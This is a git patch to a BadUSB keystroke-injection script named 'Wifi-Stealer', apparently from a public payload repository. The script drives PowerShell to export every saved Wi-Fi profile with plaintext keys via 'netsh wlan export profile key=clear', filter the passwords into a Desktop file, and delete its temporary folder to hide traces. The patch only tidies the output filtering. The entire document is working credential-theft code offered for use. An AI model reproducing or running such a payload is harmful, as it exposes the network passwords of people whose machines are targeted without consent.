From 25e24eadfc182760a965e8174c1580e80a6621c8 Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Mon, 19 Sep 2022 08:29:58 -0700 Subject: [PATCH] Update Wifi-Stealer_ORG.txt --- BadUSB/Wifi-Stealer_ORG.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/BadUSB/Wifi-Stealer_ORG.txt b/BadUSB/Wifi-Stealer_ORG.txt index 3b996ba6..0e9ac699 100644 --- a/BadUSB/Wifi-Stealer_ORG.txt +++ b/BadUSB/Wifi-Stealer_ORG.txt @@ -15,5 +15,5 @@ REM setting variable STRING $desktop = ([Environment]::GetFolderPath("Desktop")) ENTER REM Creating a new folder in Temp with random name to store the xml files and create single text file. -STRING New-Item -Path $env:temp -Name "js2k3kd4nne5dhsk" -ItemType "directory"; Set-Location -Path "$env:temp/js2k3kd4nne5dhsk"; netsh wlan export profile key=clear; Select-String -Path *.xml -Pattern 'keyMaterial'> $desktop\0.txt; Set-Location -Path "$env:temp"; Remove-Item -Path "$env:tmp/js2k3kd4nne5dhsk" -Force -Recurse; exit +STRING New-Item -Path $env:temp -Name "js2k3kd4nne5dhsk" -ItemType "directory"; Set-Location -Path "$env:temp/js2k3kd4nne5dhsk"; netsh wlan export profile key=clear; Select-String -Path *.xml -Pattern 'keyMaterial' | % { $_ -replace '', ''} | % {$_ -replace "C:\\Users\\$env:UserName\\Desktop\\", ''} | % {$_ -replace '.xml:22:', ''} > $desktop\0.txt; Set-Location -Path "$env:temp"; Remove-Item -Path "$env:tmp/js2k3kd4nne5dhsk" -Force -Recurse; exit ENTER